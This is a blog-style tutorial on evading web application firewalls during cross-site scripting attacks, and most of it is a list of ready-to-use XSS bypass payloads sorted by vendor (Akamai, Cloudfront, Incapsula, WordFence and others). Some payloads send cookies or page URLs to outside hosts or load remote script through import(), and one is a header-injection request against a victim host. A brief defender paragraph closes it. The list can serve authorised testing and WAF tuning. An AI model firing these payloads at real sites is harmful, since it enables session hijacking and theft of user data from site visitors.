Hey Folks 🙂 !! In this tutorial, we will describe some of the techniques commonly used by hackers to bypass Web Application Firewalls (WAF) during XSS exploitation.
Let’s See 🙂 !!
Introduction Web Application Firewalls (WAFs) are essential security components designed to protect web applications from various types of attacks, including Cross-Site Scripting (XSS). However, sophisticated attackers often find ways to bypass WAFs, especially when it comes to injecting malicious XSS payloads. In this article, we’ll explore some techniques used to bypass WAFs and execute XSS payloads successfully.
Understanding XSS and WAFs Cross-Site Scripting (XSS) is a type of injection attack where an attacker injects malicious scripts into content that is then served to users. These scripts can steal user data, hijack sessions, or perform unauthorized actions on behalf of the user.
WAFs are designed to filter and monitor HTTP requests, blocking any malicious attempts based on predefined rules or learning algorithms. However, WAFs are not foolproof, and attackers constantly develop new methods to evade them.
Common WAF Bypass Techniques
<img src=x onerror="/*<![CDATA[*/alert(1)/*]]>*/">
onload
or onerror
. Attackers can use less common event handlers that may not be included in the WAF’s rule set.<div style="width:expression(alert(1))"></div>
<script>/*</script><svg onload=alert(1)>*/
<img src='1' onerror='ja'+'vascript:alert(1)'>
GET / HTTP/1.1
Host: victim.com
Content-Length: 0
X-Forwarded-For: '><script>alert(1)</script>
Now let’s have a look some waf bypass pyaloads 🙂 !!
Akamai XSS Payloads
<style>@keyframes a{}b{animation:a;}</style><b/onanimationstart=prompt`${document.domain}`>
<marquee+loop=1+width=0+onfinish='new+Function`al\ert\`1\``'>
<svg><circle><set onbegin=prompt(1) attributename=fill>
<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>
"%3balert`1`%3b"
asd"`> onpointerenter=x=prompt,x`XSS`
<x onauxclick=import('//1152848220/')>click
<x onauxclick=a=alert,a(domain)>click -@niksthehacker
<x onauxclick=import('//1152848220/')>click
<x onauxclick=import('//xss/')>click
\"<>onauxclick<>=(eval)(atob(`YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==`))>+<sss
{{constructor.constructor(alert`1`)()}}
javascript:new%20Function`al\ert\`1\``;
https://twitter.com/xhzeem/status/1378316651431612422
<script>Object.prototype.BOOMR = 1;Object.prototype.url='https://portswigger-labs.net/xss/xss.js'</script> -https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
"><a/\test="%26quot;x%26quot;"href='%01javascript:/*%b1*/;location.assign("//hackerone.com/stealthy?x="+location)'>Click -@stealthybugs
Cloudflare XSS payloads
<a"/>
Cloudfront XSS payloads
">%0D%0A%0D%0A<x '="foo"><x foo='><img src=x onerror=javascript:alert(`cloudfrontbypass`)//'>
">'><details/open/ontoggle=confirm('XSS')>
6'%22()%26%25%22%3E%3Csvg/onload=prompt(1)%3E/
"><img src=x onerror=confirm(1);>
Imperva XSS payloads
<x/>
Incapsula XSS payloads
<iframe/onload='this["src"]="javas	cript:al"+"ert``"';>
<iframe/onload="var b = 'document.domain)'; var a = 'JaV' + 'ascRipt:al' + 'ert(' + b; this['src']=a">
<audio autoplay onloadstart=this.src='hxxps://msf.fun/?c='+document["cook"+"ie"]' src=x>
<img/src=q onerror='new Function`al\ert\`1\``'>
<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>
<svg onload\r\n=$.globalEval("al"+"ert()");>
[1].map(alert) or (alert)(1)
<"><details/open/ontoggle="jAvAsCrIpT:alert(/xss-by-tarun/)">XXXXX</a>
[1].find(confirm)
<svg/onload=self[`aler`%2b`t`]`1`>
%22%3E%3Cobject%20data=data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==%3E%3C/object%3E
'-[document.domain].map(alert)-'
WordFence XSS payloads
ax6zt%2522%253e%253cscript%253ealert%2528document.domain%2529%253c%252fscript%253ey6uu6 -@naglinagli
<meter onmouseover="alert(1)" -@manjith27945363
'">><div><meter onmouseover="alert(1)"</div>" -@manjith27945363
>><marquee loop=1 width=0 onfinish=alert(1)> -@manjith27945363
Wordfence 7.4.2
<a href=javascript:alert(1)> -@brutelogic
<a/href=%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x0a;:alert(1)>please%20click%20here</a>
Best Practices for Defenders While understanding how attackers bypass WAFs is crucial, it’s equally important for defenders to continuously update WAF rules, employ multiple layers of security, and conduct regular security assessments.
Conclusion Bypassing a WAF with XSS payloads requires creativity and a deep understanding of both the WAF’s limitations and the web application itself. While WAFs provide a strong line of defense, they should not be solely relied upon. A layered security approach combined with continuous monitoring and testing is essential to defend against these sophisticated attacks.
Additionally 🙂 !! If you are a beginner and having some difficulty understanding XSS vulnerabilities in depth, you can visit here
A keen learner and passionate IT student. He has done Web designing, CCNA, RedHat, Ethical hacking, Network & web penetration testing. Currently, he is completing his graduation and learning about Red teaming, CTF challenges & Blue teaming.
The gau (Get All URLs) tool is a versatile open-source utility that collects URLs from…
Jsluice++ is a Burp Suite extension designed for passive and active scanning of JavaScript traffic…
Hey Folks :) !! In this article, we present the "Termux Cheat Sheet for Hackers"…
Amid the rapid advancement of technology, the significance of human involvement in cybersecurity frequently goes…
Hey Folks, we are back today after such a long break, but don't worry we…
The security of your API should be one of the top priorities of companies. Without…
This website uses cookies.